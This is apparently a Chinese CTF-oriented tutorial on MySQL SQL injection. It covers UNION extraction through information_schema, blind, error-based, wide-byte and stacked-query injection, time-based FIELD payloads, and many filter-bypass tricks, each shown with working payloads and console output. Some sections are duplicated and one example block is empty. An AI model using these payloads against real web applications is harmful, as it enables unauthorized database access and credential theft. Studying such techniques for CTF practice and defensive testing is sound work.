先来说说几种注入方式
万能密码 union联合查询 盲注 报错注入 宽字节注入

union联合查询

1
2
3
union select

union all select 允许重复值 要是union select 被过滤了可以使用这种方式

万能密码

假设原始查询语句为
select * from user where username='$_POST['username']' and password='$_POST['password']';
这时我们把 $username赋值为’=’
select * from user where username=’’=’’ and password=’’=’’;
先来看username这一段,password同理
把username=’’=’’分成两部分,第一部分username=’’ 第二部分=’’
数据库中不可能有为空的用户名(要是有,就在换一个用户名,直到没有为止),这样第一部分的返回结果肯定为flase 然后flase=’’也就是flase=flase;结果为1.
最后相当于select * from user where 1 and 1;

union 联合查询前后的列数必须一致,可以通过order by猜测出列数。还有一点是要知道哪一列是回显列。
知道这些条件后,就可以利用系统自带的库information_schema得到库名,表名和列名,也可以使用database()直接得到库名

1
2
3
union select schema_name from information_schema.schemata %23 爆库名
union select table_name from information_schema.tables where table_schema=database()%23爆表名
union select column_name from information_schema.columns where table_name='xxx' %23爆列名

最后得到内容 union select xxx from xxx %23

最后得到内容 union select xxx from xxx %23

盲注

不回显数据,一般回显只有两种情况,用户名错误或密码错误,
使用这几个函数来截取字符串mid() substr()
ascii()返回ASCII值 ,若为字符串则默认返回第一个字符的ASCII值
盲注时,两条语句之间要使用and or 来进行连接。
and or 被过滤可以使用’-0-‘
admin’-0-‘这里使用了一个mysql的一个数据类型转换的特性,前面的admin为字符类型,后面的0为数字类型,mysql会把admin转为数字型,变成0。在与0相减,
结果为0,这里还有一个小知识,如果sql查询的数据类型为字符型,但我们传给他一个整型0的话,就会把所有数据爆出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from user where name=0;
+-----+--------+------+----------+-----------+
| id | name | sex | date | dream |
+-----+--------+------+----------+-----------+
| 1 | testdu | | 19930916 | coder |
| 2 | Lee | | 19920916 | coder |
| 3 | Yjh | | 19950916 | coder |
| 4 | Wk | | 19990916 | coder |
| 5 | Wk | | 19980916 | moveZhuan |
| 6 | 00 | 女 | 20010916 | moveZhuan |
| 166 | hhh | NULL | 19990803 | coder |
| 167 | sdf | | 20190522 | programer |
| 168 | uyu | | 20190521 | manger |
| 169 | ssu | | 20190521 | manger |
| 170 | xm | | 20190532 | ceo |
+-----+--------+------+----------+-----------+
11 rows in set, 7 warnings (0.37 sec)

所以我们的payload可以这样构造

1
admin'-(ascii(substr((database()),1,1))=0x74)-'

但是大多数ctf题并不会这么顺利直接,都会存在一定的过滤,下面就来说说,绕过过滤的一些方法。

绕过方法

双写绕过,利用被过滤掉的字符,如果/\/,union被过滤,可以使用unio/**/n uniunionon绕过过滤

空格 () %0a %0b %0c ``

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
select/**/name/**/from/**/test
select%0aname%0afrom%0atest
select(name)from(test)
select`name`from`test`
mysql> select name from user where id>1 and id<3;
+------+
| name |
+------+
| Lee |
+------+
1 row in set (0.00 sec)
mysql> select name from user where !(id<>2);
+------+
| name |
+------+
| Lee |
+------+
1 row in set (0.00 sec)

= 可以使用<> 单独使用是大于或者是小于,两个连在一起使用是不等于的意思,在前面加上!就构成了=
select name from test where id>1 and id<3;这样就构成了id=2

1
2
3
4
5
6
7
mysql> select name from user where id>1 and id<3;
+------+
| name |
+------+
| Lee |
+------+
1 row in set (0.00 sec)

如果大小于号<>也被被过滤,可以使用
greatest(n1,n2,n3….)返回n中最大值
least(n1,n2,n3…)返回n中最小值
strcmp(str1,str2)比较两个字符串,若两个字符串相等则返回0,根据当前排序顺序比较若str1>str2则返回-1,否则返回1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select name from user where id=1 and greatest(ascii(substr(name,1,1)),1)=0x74;
+--------+
| name |
+--------+
| testdu |
+--------+
1 row in set (0.00 sec)

mysql> select name from user where id=1 and strcmp(ascii(substr(name,1,1)),0x74);
+--------+
| name |
+--------+
| testdu |
+--------+
1 row in set (0.00 sec)

like rlike regexp 进行匹配

1
2
3
4
5
6
7
8
9
10
mysql> select * from user where name='hhh' or dream regexp 'co';
+-----+--------+------+----------+-------+
| id | name | sex | date | dream |
+-----+--------+------+----------+-------+
| 1 | testdu | | 19930916 | coder |
| 2 | Lee | | 19920916 | coder |
| 3 | Yjh | | 19950916 | coder |
| 4 | Wk | | 19990916 | coder |
| 166 | hhh | NULL | 19990803 | coder |
+-----+--------+------+----------+-------+

逗号,被过滤 可以使用join case when if from for limit offset

1
2
3
select name from test where id=1 limit 0,1 ==>select name from test where id=1 limit 1 offset 0;
select substr(database(),1,2)==> select substr(database() from 1 for 2);
select * from test union select (select 1)a join (select 2)b join (select 3)c ==> select * from test union select 1,2,3

逗号,被过滤 可以使用join case when if from for limit offset
select name from test where id=1 limit 0,1 ==>select name from test where id=1 limit 1 offset 0;
select substr(database(),1,2)==> select substr(database() from 1 for 2);
select * from test union select (select 1)a join (select 2)b join (select 3)c ==> select * from test union select 1,2,3

异或注入

异或注入主要是用来检测字符是否被过滤
在id=1后面输入 ‘ ^ (0)–+ ‘ ^ (length(select)=6)–+
利用1^1返回0 1^0返回1来判断字符是否被过滤,同时也可以利用他来进行盲注

报错注入

几个比较常见的报错方式,exp,floor等等 网上一大堆,这里就不细说了,主要说说另一种报错注入
如果我们碰到一种情况,可以使用报错注入,但是不回显数据,只回显用户名/密码错误,数据库操作错误
这时怎么办呢?这时就要用到我们的报错+盲注了
exp函数报错的原理是参数大于709,

1
2
3
4
5
6
7
8
9
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

所以我们可以构造exp(709+c-ascii()),c的值从126依次递减,这样当ascii返回的数据如果和c的值正好相等,那么爆出用户名/密码错误,
c的值大于ascii的话,exp函数的参数大于709,爆出数据库错误
这样就可以实现盲注+报错注入。

未知列名

有时我们可以得到他的表名,库名,但是在爆列名的时候,被过滤掉了,无法得到列名。或者知道列名,但是在使用时被过滤掉了,十六进制也被过滤掉了
这时可以使用未知列名注入方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
mysql> select (select 1)a,(select 2)b;
+---+---+
| a | b |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)//使用别名代替字段名 a,b为别名
select name,dream from user union select username,password from users;
+---------------------------+---------------+
| name | dream |
+---------------------------+---------------+
| testdu | coder |
| Lee | coder |
| Yjh | coder |
| Wk | coder |
| Wk | moveZhuan |
| 00 | moveZhuan |
| hhh | coder |
| vampire | my_password |
| vampire | password_name |
+---------------------------+---------------+
9 rows in set (0.00 sec)
//使用union将两张表的查询结果连起来,前七行数据为user表中的数据,后两行为users中的数据
select * from (select 1)a,(select 2)b,(select 3+1)c;
+---+---+-----+
| 1 | 2 | 3+1 |
+---+---+-----+
| 1 | 2 | 4 |
+---+---+-----+
1 row in set (0.00 sec) //在select 1查询完成之后,给查询之后的结果(也是一张表)
mysql> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec) 起了个别名叫a。
select e.2 from (select * from (select 1)a,(select 2)b union select * from users)e;
+---------------+
| 2 |
+---------------+
| 2 |
| my_password |
| password_name |
+---------------+
3 rows in set (0.00 sec) //这里ab..的列数必须和users表中的列数一样

宽字节注入

WAF会对我们的’转义形成',但是我们在前面加上%df后,因为\的编码为%5c,这样mysql会认为df5c是一个汉字,是我们的’逃逸出来

最后在啰嗦一句,有时我们会碰到,对数据长度的输出有限制的情况。
可以使用group_concat()把数据一次性爆出。

1
2
3
4
5
6
mysql> select group_concat(date) from user;
+----------------------------------------------------------------------------------------------------+
| group_concat(date) |
+----------------------------------------------------------------------------------------------------+
| 19930916,19920916,19950916,19990916,19980916,20010916,19990803,20190522,20190521,20190521,20190532 |
+----------------------------------------------------------------------------------------------------+

堆叠查询

用set预处理语句,实现注入

Set @sql=concat(‘sel’,’ect * from `1919810931114514`’);Prepare psql from @sql;execute psql;deallocate Prepare psql;

Oracle中||可以连接字符串 MySQL中需要设置一下,才可以连接字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
mysql> show variables like '%sql_mode%';

+---------------+--------------------------------------------+

| Variable_name | Value |

+---------------+--------------------------------------------+

| sql_mode | NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |

+---------------+--------------------------------------------+

**设置sql_mode**

mysql> set sql_mode=pipes_as_concat;

Query OK, 0 rows affected (0.00 sec)

**查看是否设置成功**

mysql> show variables like '%sql_mode%';

+---------------+-----------------+

| Variable_name | Value |

+---------------+-----------------+

| sql_mode | PIPES_AS_CONCAT |

+---------------+-----------------+

**验证一下**

mysql> select 'w'||'e';

+----------+

| 'w'||'e' |

+----------+

| we |

+----------+

**这里注意一点如果是整形和字符串相连的话,有个特殊的 0||a ==> 0 其他的都是1**

mysql> select 0||'a';

+--------+

| 0||'a' |

+--------+

| 0 |

+--------+

==2019.9.18补充==

FIELD ELT

用法介绍

FIELD

返回字符串的位置索引值从1开始

1
2
3
4
5
6
7
mysql> select field('sqd','wer','halo','uyt','sqd');
+---------------------------------------+
| field('sqd','wer','halo','uyt','sqd') |
+---------------------------------------+
| 4 |
+---------------------------------------+
1 row in set (0.00 sec)

ELT

返回索引值对应的字符串

1
2
3
4
5
6
7
mysql> select elt(2,'wer','halo','uyt','sqd');
+---------------------------------+
| elt(2,'wer','halo','uyt','sqd') |
+---------------------------------+
| halo |
+---------------------------------+
1 row in set (0.00 sec)

注入利用

FIELD

1
(select (case field(concat(substring(bin(ascii(substring(password,1,1))),1,1),substring(bin(ascii(substring(password,1,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end)

ELT

1
2


一些trick

数据区的内容被过滤,可以使用char 还有16进制

字符特性 utf8_unicode_ci 和 utf8_general_ci 两种编码格式
Ö = O

注释符

可以起到注释符作用的构造

1
2
3
4
5
6
7
8
%23
and '1'='1
and '1
;
%00
-- - 保证--后面有个空格
%0a
%1a